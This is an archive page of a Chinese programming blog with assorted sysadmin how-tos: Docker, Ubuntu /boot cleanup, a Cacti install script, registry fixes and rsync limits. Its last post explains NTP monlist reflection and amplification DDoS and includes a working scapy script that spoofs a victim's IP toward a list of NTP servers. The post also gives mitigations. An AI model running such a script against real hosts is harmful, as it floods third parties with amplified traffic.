存档

‘编程实践’ 分类的存档

删除 WPS 云文档图标

2023年11月24日 没有评论

WIN + R 输入 regedit,删除如下项目:

我的电脑侧栏上的:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace

设备和驱动器中的:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace

删除里边的子项,就可以了。

分类: 编程实践 标签:

docker-compose搭建nginx+php+mysql

2019年8月4日 没有评论

转自: https://blog.csdn.net/miwumuge/article/details/83386679

安装Docker Compose之前应先确保系统已经安装了Docker

安装Docker Compose

1.下载Docker Compose

sudo curl -L “https://github.com/docker/compose/releases/download/1.22.0/docker-compose-$(uname -s)-$(uname -m)” -o /usr/local/bin/docker-compose

2.添加可执行权限

sudo chmod +x /usr/local/bin/docker-compose

3.测试

$ docker-compose –version
docker-compose version 1.22.0, build 1719ceb

搭建nginx+php+mysql

系统环境

CentOS minimal 7.2.1511
Docker CE 18.06.1-ce

docker镜像版本:
php 7.2.11-fpm
mysql 8.0
nginx 1.15

构建目录结构

www
├── docker-compose.yml
├── html
│ └── index.php
├── mysql
├── nginx
│ └── default.conf
└── php
└── Dockerfile

docker-compose.yml

version: ‘3.7’
services:
nginx:
image: nginx
ports:
– “80:80″
depends_on:
– php
volumes:
– “$PWD/nginx/default.conf:/etc/nginx/conf.d/default.conf”
– “$PWD/html:/usr/share/nginx/html”
networks:
– app_net
container_name: “compose-nginx”
php:
build: ./php
image: php:fpm
ports:
– “9000:9000″
volumes:
– “$PWD/html:/var/www/html”
networks:
– app_net
container_name: “compose-php”
mysql:
image: mysql
ports:
– “3306:3306″
environment:
– MYSQL_ROOT_PASSWORD=123456
networks:
app_net:
ipv4_address: 10.10.10.1
container_name: “compose-mysql”
networks:
app_net:
driver: bridge
ipam:
config:
– subnet: 10.10.0.0/16

html/index.php

phpinfo();

nginx/default.conf

server {
listen 80;
server_name localhost;

#charset koi8-r;
#access_log /var/log/nginx/host.access.log main;

location / {
root /usr/share/nginx/html;
index index.php index.html index.htm;
}

error_page 404 /404.html;
location = /40x.html {
root /usr/share/nginx/html;
}

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}

# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ \.php$ {
# proxy_pass http://127.0.0.1;
#}

# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
# PHP 脚本请求全部转发到 FastCGI处理. 使用FastCGI协议默认配置.
# Fastcgi服务器和程序(PHP,Python)沟通的协议.
location ~ \.php$ {
# php容器的网站根目录
root /var/www/html/;
# 设置监听端口
fastcgi_pass php:9000;
fastcgi_index index.php;
# 设置脚本文件请求的路径
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
# 引入fastcgi的配置文件
include fastcgi_params;
}

# deny access to .htaccess files, if Apache’s document root
# concurs with nginx’s one
#
location ~ /\.ht {
deny all;
}
}

因为nginx镜像里没有fastcgi.conf文件,就需要引入fastcgi_params文件并配置SCRIPT_FILENAME参数
php/Dockerfile

FROM php:fpm

RUN apt-get update \
&& apt-get install -y iputils-ping \
&& docker-php-ext-install mysqli && docker-php-ext-enable mysqli

启动服务

# www目录下执行
docker-compose up -d

测试

浏览器访问http://localhost,会出现php的介绍文档

如果在虚拟机里搭建的项目,localhost要改成虚拟机的IP地址
遇到的问题

在docker-compose.yml文件所在目录执行

$ docker-compose up -d

报错:

ERROR: Couldn’t connect to Docker daemon at http+docker://localhost – is it running?
If it’s at a non-standard location, specify the URL with the DOCKER_HOST environment variable.

解决方法是把当前用户添加到docker用户组,然后重新登录即可

sudo usermod -aG docker ${USER}

参考网址

https://docs.docker.com/compose/install/

https://docs.docker.com/install/linux/docker-ce/centos/#os-requirements

分类: 编程实践 标签:

ubuntu /boot 满的解决方法

2019年6月22日 没有评论

运行一段时间后我们经常会发现提示/boot满或是快满的问题,查了一下网上是提示这样清文件。希望对大家有一定帮助。
造成这一问题的主要原因是因为系统升级的时候会安装不同版本的 kernel,但是实际上使用的往往只有一个。因此,我们只需要把没有使用的 kernel 删除,就可以解决 /boot 空间占满的问题。

sudo apt autoremove –purge

具体操作

查看当前使用的 kernel

uname -r
>> Linux 4.10.0-42-generic
查看当前系统已经安装的 kernels

dpkg –list ‘linux-image*’ | grep ^ii
删除不需要的 kernel

# 需要删除的 kernel 版本号
sudo apt remove linux-image-
删除相关的包

sudo apt autoremove

最后更新以下 kernel 列表

sudo update-grup
接下来,我们在查看以下 /boot 的剩余容量

df -l
>>
文件系统 1K-块 已用 可用 已用% 挂载点
udev 3993976 0 3993976 0% /dev
tmpfs 803244 9748 793496 2% /run
/dev/sdc1 19553560 6811684 11725556 37% /
tmpfs 4016216 21364 3994852 1% /dev/shm
tmpfs 5120 4 5116 1% /run/lock
tmpfs 4016216 0 4016216 0% /sys/fs/cgroup
/dev/sdc6 182331 71528 97328 43% /boot
/dev/sdc7 87495992 10061048 72967284 13% /home
tmpfs 803244 80 803164 1% /run/user/1000

我们可以看到,我们的 /boot 的使用空间已经恢复正常,接下来我们可以正常使用 apt update 以及 apt upgrade 来升级我们的系统及软件了。

分类: 编程实践 标签: ,

CentOS 一键安装Cacti 1.2.3脚本

2019年5月19日 没有评论
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
#!/bin/bash
 
echo "this script requires git"
yum install -y git 
 
echo "This script will download all Cacti dependecies and download the chosen cacti version from the cacti github"
echo "Dont forget to support cacti @ cacti.net!"
 
echo "set selinux to disabled"
setenforce 0 
sed -i 's/enforcing/disabled/g' /etc/selinux/config /etc/selinux/config
 
#Download chosen release
echo "here are some of the current cacti release versions \n
release/1.2.3
release/1.2.2
release/1.2.1
release/1.2.0
"
 
echo  "which release would you like to download ? Hit enter for latest"
read version
 
if  [ "$version" == "" ]
then
git clone https://github.com/Cacti/cacti.git
 
else 
yum install -y wget unzip
wget https://github.com/Cacti/cacti/archive/release/$version.zip
unzip $version 
mv cacti-release-$version cacti
fi
 
echo "will you be using the spine poller enter 1 for yes 2 for no"
read answer
if [ $answer == "1" ]
then
##Download packages needed for spine
yum install -y gcc mysql-devel net-snmp-devel autoconf automake libtool dos2unix help2man
echo "downloading and compling spine"
git clone https://github.com/Cacti/spine.git
cd spine
./bootstrap
./configure
make
make install
chown root:root /usr/local/spine/bin/spine
chmod u+s /usr/local/spine/bin/spine
cd ..
 
else
echo "spine dependecies  will not be installed"
fi
 
echo "On Centos systems we need to enable EPEL repos"
yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm -y
yum install yum-utils -y
yum-config-manager --enable remi-php72
 
echo "Downloading PHP modules needed for Cacti install"
 
yum install  -y rrdtool mariadb-server net-snmp-utils net-snmp  snmpd php php-mysql  php-snmp php-xml php-mbstring php-json php-gd php-gmp php-zip php-ldap php-mc php-posix 
 
###Start services 
 
systemctl enable httpd
systemctl enable mariadb
systemctl start mariadb
systemctl start httpd
 
####Open Port 80 and 443 on firewalld
 
echo "Open http and https ports on firewalld"
firewall-cmd --zone=public --add-port=80/tcp --permanent
firewall-cmd --zone=public --add-port=443/tcp --permanent
firewall-cmd --reload
 
##Timezone settings needed for cacti
echo "Enter your PHP time zone i.e America/Toronto  Default is US/Central "
read timezone
if [ $timezone == "" ] 
then
 
echo "date.timezone =" US/Central >> /etc/php.ini
else
 
echo "date.timezone =" $timezone >> /etc/php.ini
 
fi  
 
echo "Where would you like to install cacti default location is /var/www/html hit enter for default location"
read location
if [$location = ""]
then
 
location="/var/www/html"
 
mv cacti /var/www/html
else
mv cacti $location
fi
 
#Create cacti user and change permission of directory
echo "Which user would you like to run Cacti under (Default is www-data) hit enter for default"
read user
if [$user = ""]
then 
user="apache"
echo  "cacti will be run under apache"
chown -R  apache:apache $location/cacti
else 
useradd $user
chown -R $user:$user $location/cacti
fi
 
#assign permissions for cacti installation
 
chown -R apache:apache $location/cacti/resource/snmp_queries/          
chown -R apache:apache $location/cacti/resource/script_server/
chown -R apache:apache $location/cacti/resource/script_queries/
chown -R apache:apache $location/cacti/scripts/
chown -R apache:apache $location/cacti/cache/boost/
chown -R apache:apache $location/cacti/cache/mibcache/
chown -R apache:apache $location/cacti/cache/realtime/
chown -R apache:apache $location/cacti/cache/spikekill/
touch $location/cacti/log/cacti.log
chmod 777 $location/cacti/log/cacti.log
chown -R apache:apache   $location/cacti/log/
cp $location/cacti/include/config.php.dist $location/cacti/include/config.php
 
##Create database 
echo "would you like to customize the database name and user ? hit enter for defaults"
read customize
 
if [[ $customize = "" ]] 
then
 
mysql -uroot <<MYSQL_SCRIPT
CREATE DATABASE cacti DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci ;
GRANT ALL PRIVILEGES ON cacti.* TO 'cacti'@'localhost' IDENTIFIED BY 'cacti'; ;
GRANT SELECT ON mysql.time_zone_name TO cacti@localhost;
USE mysql;
ALTER DATABASE cacti CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
FLUSH PRIVILEGES;
MYSQL_SCRIPT
 
#pre populate cacti db
mysql -u root  cacti < $location/cacti/cacti.sql
mysql_tzinfo_to_sql /usr/share/zoneinfo | mysql -u root  mysql
 
sed -i -e 's@^$database_type.*@$database_type = "mysql";@g' /var/www/html/cacti/include/config.php
sed -i -e 's@^$database_default.*@$database_default = "cacti";@g' /var/www/html/cacti/include/config.php
sed -i -e 's@^$database_hostname.*@$database_hostname = "127.0.0.1";@g' /var/www/html/cacti/include/config.php
sed -i -e 's@^$database_username.*@$database_username = "cacti";@g' /var/www/html/cacti/include/config.php
sed -i -e 's@^$database_password.*@$database_password = "cacti";@g' /var/www/html/cacti/include/config.php
sed -i -e 's@^$database_port.*@$database_port = "3306";@g' /var/www/html/cacti/include/config.php
sed -i -e 's@^$database_ssl.*@$database_ssl = "false";@g' /var/www/html/cacti/include/config.php
sed -i -e 's@^//$url_path@$url_path@g' /var/www/html/cacti/include/config.php
 
echo "default database setup with following details"
echo "database name cacti\n
database username cacti\n
database password cacti"
 
else
 
echo "enter db name"
read customdbname
echo "enter db user"
read customdbuser
echo "enter db password"
read customdbpassword
 
mysql -u root <<MYSQL_SCRIPT
CREATE DATABASE $customdbname;
GRANT ALL PRIVILEGES ON $customdbname.* TO '$customdbuser'@'localhost' IDENTIFIED BY '$customdbpassword';
GRANT SELECT ON mysql.time_zone_name TO $customdbuser@localhost;
ALTER DATABASE $customdbname CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
FLUSH PRIVILEGES;
MYSQL_SCRIPT
 
echo "Pre-populating cacti DB"
mysql -u root  $customdbname < $location/cacti/cacti.sql
mysql_tzinfo_to_sql /usr/share/zoneinfo | mysql -u root  mysql
 
sed -i -e 's@^$database_type.*@$database_type = "mysql";@g' $location/cacti/include/config.php
sed -i -e 's@^$database_default.*@$database_default = '$customdbname'\;@g' $location/cacti/include/config.php
sed -i -e 's@^$database_hostname.*@$database_hostname = "127.0.0.1";@g' $location/cacti/include/config.php
sed -i -e 's@^$database_username.*@$database_username = '$customdbuser';@g' $location/cacti/include/config.php
sed -i -e 's@^$database_password.*@$database_password = '$customdbpassword';@g' $location/cacti/include/config.php
sed -i -e 's@^$database_port.*@$database_port = "3306";@g' "$location"/cacti/include/config.php
sed -i -e 's@^$database_ssl.*@$database_ssl = "false";@g' "$location"/cacti/include/config.php
sed -i -e 's@^//$url_path@$url_path@g' $location/cacti/include/config.php
 
fi
 
###Adding recomended PHP settings 
sed -e 's/max_execution_time = 30/max_execution_time = 60/' -i /etc/php.ini
sed -e 's/memory_limit = 128M/memory_limit = 400M/' -i /etc/php.ini
 
echo "Applying recommended DB settings"
echo "
innodb_file_format = Barracuda
character_set_client = utf8mb4
max_allowed_packet = 16777777
join_buffer_size = 32M
innodb_file_per_table = ON
innodb_large_prefix = 1
innodb_buffer_pool_size = 250M
innodb_additional_mem_pool_size = 90M
innodb_flush_log_at_trx_commit = 2
" >> /etc/my.cnf.d/server.cnf
 
echo "this script can download the following plugins monitor,thold would you like to install them  ?
type yes to download hit enter to skip"
read plugins
 if [ $plugins == "yes" ]
  then
   git clone https://github.com/Cacti/plugin_thold.git
    git clone https://github.com/Cacti/plugin_monitor.git
mv plugin_thold thold
  mv plugin_monitor monitor
   chown -R $user:$user thold
    chown -R $user:$user monitor
     mv thold $location/cacti/plugins
      mv monitor $location/cacti/plugins
else
 echo "plugins will not be installed"
fi
 
touch /etc/cron.d/$user
echo "*/5 * * * * $user php $location/cacti/poller.php > /dev/null 2>&1" > /etc/cron.d/$user 
 
echo "refreshing services"
systemctl restart httpd
systemctl restart mariadb
 
echo "Installation completed !"
分类: Linux, 编程实践 标签: , ,

shell脚本输出带颜色字体

2018年12月14日 没有评论

经常shell下都有需要使用到特殊标记的提示字符。以下很全,网上找来的。转发一下。

输出特效格式控制:
\033[0m 关闭所有属性
\033[1m 设置高亮度
\03[4m 下划线
\033[5m 闪烁
\033[7m 反显
\033[8m 消隐
\033[30m — \033[37m 设置前景色
\033[40m — \033[47m 设置背景色

光标位置等的格式控制:
\033[nA 光标上移n行
\03[nB 光标下移n行
\033[nC 光标右移n行
\033[nD 光标左移n行
\033[y;xH设置光标位置
\033[2J 清屏
\033[K 清除从光标到行尾的内容
\033[s 保存光标位置
\033[u 恢复光标位置
\033[?25l 隐藏光标

\33[?25h 显示光标

整理:
编码 颜色/动作
  0 重新设置属性到缺省设置
  1 设置粗体
  2 设置一半亮度(模拟彩色显示器的颜色)
  4 设置下划线(模拟彩色显示器的颜色)
  5 设置闪烁
  7 设置反向图象
  22 设置一般密度
  24 关闭下划线
  25 关闭闪烁
  27 关闭反向图象
  30 设置黑色前景
  31 设置红色前景
  32 设置绿色前景
  33 设置棕色前景
  34 设置蓝色前景
  35 设置紫色前景
  36 设置青色前景
  37 设置白色前景
  38 在缺省的前景颜色上设置下划线
  39 在缺省的前景颜色上关闭下划线
  40 设置黑色背景
  41 设置红色背景
  42 设置绿色背景
  43 设置棕色背景
  44 设置蓝色背景
  45 设置紫色背景
  46 设置青色背景
  47 设置白色背景
  49 设置缺省黑色背景
特效可以叠加,需要使用“;”隔开,例如:闪烁+下划线+白底色+黑字为 \033[5;4;47;30m闪烁+下划线+白底色+黑字为\033[0m
下面是一段小例子

#!/bin/bash
#
#下面是字体输出颜色及终端格式控制
#字体色范围:30-37
echo -e “\033[30m 黑色字 \033[0m”
echo -e “\033[31m 红色字 \033[0m”
echo -e “\033[32m 绿色字 \033[0m”
echo -e “\033[33m 黄色字 \033[0m”
echo -e “\033[34m 蓝色字 \033[0m”
echo -e “\033[35m 紫色字 \033[0m”
echo -e “\033[36m 天蓝字 \033[0m”
echo -e “\033[37m 白色字 \033[0m”
#字背景颜色范围:40-47
echo -e “\033[40;37m 黑底白字 \033[0m”
echo -e “\033[41;30m 红底黑字 \033[0m”
echo -e “\033[42;34m 绿底蓝字 \033[0m”
echo -e “\033[43;34m 黄底蓝字 \033[0m”
echo -e “\033[44;30m 蓝底黑字 \033[0m”
echo -e “\033[45;30m 紫底黑字 \033[0m”
echo -e “\033[46;30m 天蓝底黑字 \033[0m”
echo -e “\033[47;34m 白底蓝字 \033[0m”

#控制选项说明
#\033[0m 关闭所有属性
#\033[1m 设置高亮度
#\033[4m 下划线
echo -e “\033[4;31m 下划线红字 \033[0m”
#闪烁
echo -e “\033[5;34m 红字在闪烁 \033[0m”
#反影
echo -e “\033[8m 消隐 \033[0m ”

#\033[30m-\033[37m 设置前景色
#\033[40m-\033[47m 设置背景色
#\033[nA光标上移n行
#\033[nB光标下移n行
echo -e “\033[4A 光标上移4行 \033[0m”
#\033[nC光标右移n行
#\033[nD光标左移n行
#\033[y;xH设置光标位置
#\033[2J清屏
#\033[K清除从光标到行尾的内容
echo -e “\033[K 清除光标到行尾的内容 \033[0m”
#\033[s 保存光标位置
#\033[u 恢复光标位置
#\033[?25| 隐藏光标
#\033[?25h 显示光标
echo -e “\033[?25l 隐藏光标 \033[0m”
echo -e “\033[?25h 显示光标 \033[0m”

python 网络编程 udp示例(转)

2018年12月1日 没有评论

以下对于测试服务器的udp端口及是否协议畅通和可以使用,是很好的办法。

由于UDP是无连接的,与TCP的区别在服务器端表现为,无需监听函数listen()对客户端的连接进行监听; 在客户端的表现为客户端的socket无需与服务器建立连接就能够进行数据的发送与接收,即无需connect()函数。

服务器端代码,udpServer.py:

?View Code PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from socket import *
from time import ctime
 
HOST = ''
PORT = 20123
BUFSIZ = 128
ADDR = (HOST, PORT)
 
#创建一个服务器端UDP套接字
udpServer = socket(AF_INET, SOCK_DGRAM)
#绑定服务器套接字
udpServer.bind(ADDR)
 
while True:
    print 'waiting for message...'
#接收来自客户端的数据
    data, addr = udpServer.recvfrom(BUFSIZ)
#向客户端发送数据
    udpServer.sendto('[%s] %s' % (ctime(), data), addr)
    print '...received from and returned to:', addr
 
udpServer.close()

客户端代码,udpClient.py:

?View Code PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from socket import *
 
HOST = 'localhost'
PORT = 20123
BUFSIZ = 128
ADDR = (HOST, PORT)
 
#创建客户端UDP套接字
udpClient = socket(AF_INET, SOCK_DGRAM)
 
while True:
    data = raw_input('>')
    if not data:
        break
#向服务器端发送数据
    udpClient.sendto(data,ADDR)
#接收来自服务器端的数据
    data, ADDR = udpClient.recvfrom(BUFSIZ)
    print data
    if not data:
        break
 
udpClient.close()
分类: 编程实践 标签: ,

VC6 SDK 安装支持VC6的最新SDK的资源与方法详解(适合和我一样的菜鸟)

2018年2月12日 没有评论

今天我开始学习王艳平老师的《windows网络与通信程序设计》那本书,里面有一小节讲的是如何获取MAC地址,代码中所需的头文件是VC6所没有的,
需要安装新的SDK。于是就开始从网上寻找资源并且安装,下面是安装流程与资源下载的地址:
1、下载资源
首先将以下资源下载到一个文件夹中(复制地址到迅雷中新建任务即可)。

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/PSDK-FULL.1.cab

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/PSDK-FULL.2.cab

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/PSDK-FULL.3.cab

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/PSDK-FULL.4.cab

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/PSDK-FULL.5.cab

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/PSDK-FULL.6.cab

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/PSDK-FULL.7.cab

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/PSDK-FULL.8.cab

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/PSDK-FULL.9.cab

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/PSDK-FULL.10.cab

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/PSDK-FULL.11.cab

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/PSDK-FULL.12.cab

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/PSDK-FULL.13.cab

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/PSDK-FULL.bat

http://download.microsoft.com/download/platformsdk/

sdk/update/win98mexp/en-us/3790.0/FULL/Extract.exe

2、打开命令行(cmd)移动到该文件夹下并运行批处理文件解压文件
如下载文件夹为d:\temp,则在命令行中先输入d:(回车),再输入temp:(回车)。
之后运行PSDK-FULL.bat d:\sdk(回车),d:\sdk为放解压文件的文件夹。
3、退出命令行到d:\sdk中运行setup.exe。之后会弹出一个安装WEB页。
若提示Versions未定义,打开setup目录,安装CoreSDK-x86.msi等文件即可。
4、若弹出的WEB页只有一段话大意为需要你安装IE,那么首先确认安装了IE,并把它设 置为默认浏览器。之后若安装的是IE8那么还不能进行网页安装,必须取消|Internet 选项 -》 高级 -》启用内存保护帮助减少联机攻击|的选项之后即可出现安装向导。
5、安装完后,配置VC6
手工配置vc6的搜索目录,打开vc6,菜单tools-options-directories。
增加以下路径

executable files

你的platform安装路径\bin

你的platform安装路径\bin\winnt

include file

你的platform安装路径\include

library files

你的platform安装路径\lib

linux scp和rsyc限速传输

2017年5月7日 没有评论

linux scp和rsyc限速传输

一、scp限速1M
  scp -l 1000 vps12.com.tar.gz root@192.168.1.2:/root
  #此时的传输速率就是1M/8=100KB左右!经测试,如果数值在3000大约跑近4mbps。

二、rsync是(限制为 100k Bytes/s):
  rsync -auvzP–bwlimit=100 本地的文件 远程的文件

  参数说明:
  v:详细提示
  a:以archive模式操作,复制目录、符号连接,等价于 -rlptgoD 。
  z:压缩
  u:只进行更新,防止本地新文件被重写,注意两者机器的时钟的同时
  P:是综合了–partial –progress两个参数,
  所以此时的rsync支持了断点续传

机房之间传文件一般都担心带宽占用太多,特别是在共用带宽的情况下。常用的两个软件都可以限速:
scp可以加上 -l 参数:

引用
-l limit
Limits the used bandwidth, specified in Kbit/s.

rsync可以加上 –bwlimit 参数

引用
-i, –itemize-changes output a change-summary for all updates
–log-format=FORMAT output filenames using the specified format
–password-file=FILE read password from FILE
–list-only list the files instead of copying them
–bwlimit=KBPS limit I/O bandwidth; KBytes per second
–write-batch=FILE write a batched update to FILE
–only-write-batch=FILE like –write-batch but w/o updating dest

出现Visual Studio Just-In-Time Debugger的解决方法

2016年8月1日 没有评论

经常弹出“Visual Studio Just-In-Time Debugger” 对话框,内容是:“An unhanled win32 exception occurred in explorer.exe[2548]. just-in-time debuenabled. in visual studio,just-in-debugging can be enabled from tools/options/debugging/just-in-time.‘check the documentation index for ‘just-in-timedebugging,errors’for more information无论你选哪一项或直接关闭都会导致程序关闭。
  遇到这种问题首先肯定是上网搜索各种解决方法,但好像只有一种方法,点选[开始]>[执行],在“开启”对话框中键入以下指令:
  drwtsn32 -i
  点选[确定],这个指令将会把Dr.Watson设定成预设的Debugger工具,这样就不会让您每次都会跳出这样的错误讯息了。
  装完之后这个问题就没有再出现,不过网上也有人找不到drwtsn32这个程序。
  这里提高一下某位高手的解决方法,虽然没有试过,但是可以试试!!
  解决方法在CSDN博客中:http://blog.csdn.net/bright60/archive/2006/08/24/1111592.aspx
  出现这种情况,往往是因为原先安装有VS,后来因某些原因(比如:卸载)导致VS无法使用!!
  当系统中的有些软件出现错误时,会自动调用vs进行调试,但因为VS无法使用,就出现了visual studio just-in-time debugger窗口。
  此方法主要就是删除指定的注册表

32位系统处理方法:use the registry editor to delete the following registry keys:
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug\Debugger
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\DbgManagedDebugger

  64位系统处理方法:On a 64-bit operating system also delete the following registry keys:
  HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug\Debugger
  HKEY_LOCAL_MACHINE\SOFT

  用vbs写:
  Set WshShell=CreateObject(“Wscript.Shell”)
  WshSHell.RegDelete “HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug\Debugger”WshSHell.RegDelete “HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgManagedDebugger”msgbox “sucsess”

浅析基于 NTP 的反射和放大攻击

2016年3月3日 没有评论

最近一段时间 DDoS 攻击事件让基于 NTP 的 DDoS 攻击变得很火热。
1.什么是 NTP
NTP 是网络时间协议(Network Time Protocol)的简称,干嘛用的呢?就是通过网络协议使计算机之前的时间同步化。

2.NTP 反射和放大攻击
那什么是 NTP 反射和放大攻击呢?如果听过 DNS 反射和放大攻击的话应该就会对这个比较容易理解了,协议不同,效果一样。

我们先来说说放射和放大攻击:

无论是基于 DNS 还是基于 NTP,其最终都是基于 UDP 协议的。在 UDP 协议中正常情况下客户端发送请求包到服务端,服务端返回响应包到客户端,但是 UDP 协议是面向无连接的,所以客户端发送请求包的源 IP 很容易进行伪造,当把源 IP 修改为受害者的 IP,最终服务端返回的响应包就会返回到受害者的 IP。这就形成了一次反射攻击。

放大攻击呢就是一次小的请求包最终会收到一个或者多个多于请求包许多倍的响应包,这样就达到了四两拨千斤的效果。

那我们接着来看什么是 NTP 的反射和放大攻击,NTP 包含一个 monlist 功能,也被成为 MON_GETLIST,主要用于监控 NTP 服务器,NTP 服务器响应 monlist 后就会返回与 NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。

我们可以通过 ntpdc 命令向一个 NTP 服务器发送 monlist 以及结合抓包来看下实际的效果。

vps12com@test ~$ ntpdc -n -c monlist x.x.x.x | wc -l

602


在上面的命令行中我们可以看到一次含有 monlist 的请求收到 602 行数据,除去头两行是无效数据外,正好是 600 个客户端 IP 列表,并且从上面图中的 wireshark 中我们也看到显示有 101 个 NTP 协议的包,除去一个请求包,正好是 100 个响应包。

从上图中我们可以看到请求包的大小为 234 字节,每个响应包为 482 字节,如果单纯按照这个数据我们可以计算出放大的倍数是:482*100/234 = 206 倍。其实如果通过编写攻击脚本,请求包会更小,这个倍数值会更大,这样算起来是不是蛮屌的。

我们通过 scapy 实现一个简单的攻击脚本,代码如下:

?View Code PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# author: vps12.com
 
import sys
from scapy.all import *
 
def attack(target, ntp_server):
    send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))
 
if __name__ == "__main__":
    if len(sys.argv) != 3:
        sys.exit(1)
 
    target = sys.argv[1]
    ntp_server_file = sys.argv[2]
    for ntp_server in open(ntp_server_file, "r"):
        ntp_server = ntp_server.strip()
        if ntp_server != "":
            attack(target, ntp_server)

如何防御
我们可以分为两种情况进行防御
一、加固 NTP 服务
1. 把 NTP 服务器升级到 4.2.7p26及以上。
2. 关闭现在 NTP 服务的 monlist 功能,在ntp.conf配置文件中增加`disable monitor`选项
3. 在网络出口封禁 UDP 123 端口
二、防御 NTP 反射和放大攻击
1. 由于这种攻击的特征比较明显,所以可以通过网络层或者借助运营商实施 ACL 来防御
2. 使用防 DDoS 设备进行清洗